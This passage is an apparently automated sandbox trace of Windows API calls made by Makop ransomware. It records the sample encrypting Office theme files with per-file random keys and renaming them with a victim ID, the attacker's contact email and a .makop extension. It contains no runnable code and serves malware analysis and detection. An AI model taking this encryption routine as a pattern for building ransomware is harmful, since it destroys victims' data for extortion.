lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0099.536] WriteFile (in: hFile=0x138, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0099.536] WriteFile (in: hFile=0x138, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0099.536] WriteFile (in: hFile=0x138, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0099.537] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0099.537] WriteFile (in: hFile=0x138, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0099.537] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0099.537] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0099.537] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.537] ReadFile (in: hFile=0x138, lpBuffer=0x6370020, nNumberOfBytesToRead=0xe1b, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0xe1b, lpOverlapped=0x0) returned 1 [0099.537] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0xe20, dwBufLen=0xe20 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0xe20) returned 1 [0099.537] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.537] WriteFile (in: hFile=0x138, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xe20, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0xe20, lpOverlapped=0x0) returned 1 [0099.538] CryptDestroyKey (hKey=0x48c7168) returned 1 [0099.538] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xef4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.538] SetEndOfFile (hFile=0x138) returned 1 [0099.808] GetProcessHeap () returned 0x48a0000 [0099.808] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0099.808] GetProcessHeap () returned 0x48a0000 [0099.808] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0099.808] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 120 [0099.808] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\preview.gif.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0099.809] CloseHandle (hObject=0x138) returned 1 [0099.810] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24bfd200, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x6d24dcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x24bfd200, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x1936f, dwReserved0=0x0, dwReserved1=0x0, cFileName="SATIN.ELM", cAlternateFileName="")) returned 1 [0099.810] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.ELM") returned 71 [0099.810] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\satin.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0099.813] GetProcessHeap () returned 0x48a0000 [0099.813] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0099.813] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0099.813] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0099.813] WriteFile (in: hFile=0x138, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0x1, lpOverlapped=0x0) returned 1 [0099.817] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0099.817] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0099.817] GetProcessHeap () returned 0x48a0000 [0099.817] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c3738 [0099.817] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c3738*, pdwDataLen=0x6576010*=0x30, dwBufLen=0x30 | out: pbData=0x48c3738*, pdwDataLen=0x6576010*=0x30) returned 1 [0099.817] CryptDestroyKey (hKey=0x48c7168) returned 1 [0099.817] WriteFile (in: hFile=0x138, lpBuffer=0x48c3738*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c3738*, lpNumberOfBytesWritten=0x6576028*=0x30, lpOverlapped=0x0) returned 1 [0099.818] WriteFile (in: hFile=0x138, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0099.818] WriteFile (in: hFile=0x138, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0099.818] WriteFile (in: hFile=0x138, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0099.818] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0099.818] WriteFile (in: hFile=0x138, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0099.818] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0099.819] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0099.819] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.819] ReadFile (in: hFile=0x138, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1936f, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x1936f, lpOverlapped=0x0) returned 1 [0099.822] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x19370, dwBufLen=0x19370 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x19370) returned 1 [0099.823] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.823] WriteFile (in: hFile=0x138, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x19370, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x19370, lpOverlapped=0x0) returned 1 [0099.824] CryptDestroyKey (hKey=0x48c7168) returned 1 [0099.824] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x19434, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.825] SetEndOfFile (hFile=0x138) returned 1 [0099.832] GetProcessHeap () returned 0x48a0000 [0099.832] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c3738 | out: hHeap=0x48a0000) returned 1 [0099.832] GetProcessHeap () returned 0x48a0000 [0099.832] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0099.832] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.ELM.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 118 [0099.833] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\satin.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.ELM.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\satin.elm.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0099.838] CloseHandle (hObject=0x138) returned 1 [0099.839] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d24dcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="SATIN.INF", cAlternateFileName="")) returned 1 [0099.839] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.INF") returned 71 [0099.839] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\satin.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0099.839] GetProcessHeap () returned 0x48a0000 [0099.839] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0099.839] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0099.840] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0099.840] WriteFile (in: hFile=0x138, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0099.846] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0099.846] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0099.846] GetProcessHeap () returned 0x48a0000 [0099.846] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c3738 [0099.846] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c3738*, pdwDataLen=0x6576010*=0x30, dwBufLen=0x30 | out: pbData=0x48c3738*, pdwDataLen=0x6576010*=0x30) returned 1 [0099.846] CryptDestroyKey (hKey=0x48c7168) returned 1 [0099.846] WriteFile (in: hFile=0x138, lpBuffer=0x48c3738*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c3738*, lpNumberOfBytesWritten=0x6576028*=0x30, lpOverlapped=0x0) returned 1 [0099.847] WriteFile (in: hFile=0x138, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0099.847] WriteFile (in: hFile=0x138, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0099.847] WriteFile (in: hFile=0x138, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0099.847] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0099.847] WriteFile (in: hFile=0x138, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0099.848] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0099.848] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0099.848] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.848] ReadFile (in: hFile=0x138, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1c8, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x1c8, lpOverlapped=0x0) returned 1 [0099.848] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x1d0, dwBufLen=0x1d0 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x1d0) returned 1 [0099.848] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.848] WriteFile (in: hFile=0x138, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1d0, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x1d0, lpOverlapped=0x0) returned 1 [0099.848] CryptDestroyKey (hKey=0x48c7168) returned 1 [0099.848] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x294, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.848] SetEndOfFile (hFile=0x138) returned 1 [0099.855] GetProcessHeap () returned 0x48a0000 [0099.855] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c3738 | out: hHeap=0x48a0000) returned 1 [0099.855] GetProcessHeap () returned 0x48a0000 [0099.855] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0099.855] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.INF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 118 [0099.855] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\satin.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.INF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\satin.inf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0099.857] CloseHandle (hObject=0x138) returned 1 [0099.858] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x8573, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0099.858] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG") returned 74 [0099.858] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0099.859] GetProcessHeap () returned 0x48a0000 [0099.859] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0099.859] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0099.859] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0099.859] WriteFile (in: hFile=0x138, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0xd, lpOverlapped=0x0) returned 1 [0099.863] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0099.863] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0099.863] GetProcessHeap () returned 0x48a0000 [0099.863] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0099.863] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40) returned 1 [0099.863] CryptDestroyKey (hKey=0x48c7168) returned 1 [0099.863] WriteFile (in: hFile=0x138, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0099.863] WriteFile (in: hFile=0x138, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0099.864] WriteFile (in: hFile=0x138, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0099.865] WriteFile (in: hFile=0x138, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0099.866] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0099.866] WriteFile (in: hFile=0x138, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0099.866] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0099.866] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0099.866] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.866] ReadFile (in: hFile=0x138, lpBuffer=0x6370020, nNumberOfBytesToRead=0x8573, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x8573, lpOverlapped=0x0) returned 1 [0099.868] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x8580, dwBufLen=0x8580 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x8580) returned 1 [0099.869] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.869] WriteFile (in: hFile=0x138, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x8580, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x8580, lpOverlapped=0x0) returned 1 [0099.869] CryptDestroyKey (hKey=0x48c7168) returned 1 [0099.869] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x8654, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.869] SetEndOfFile (hFile=0x138) returned 1 [0099.876] GetProcessHeap () returned 0x48a0000 [0099.876] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0099.876] GetProcessHeap () returned 0x48a0000 [0099.876] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0099.876] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 121 [0099.876] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\thmbnail.png.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0099.877] CloseHandle (hObject=0x138) returned 1 [0099.877] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x8573, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0099.877] FindClose (in: hFindFile=0x48c7128 | out: hFindFile=0x48c7128) returned 1 [0099.878] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a980590, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d2c00d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SKY", cAlternateFileName="")) returned 1 [0099.878] wsprintfW (in: param_1=0x6578d70, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY") returned 59 [0099.878] wsprintfW (in: param_1=0x65762f0, param_2="%s\\*.*" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\*.*") returned 63 [0099.878] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\*.*", lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a980590, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d2c00d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c7128 [0099.880] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a980590, 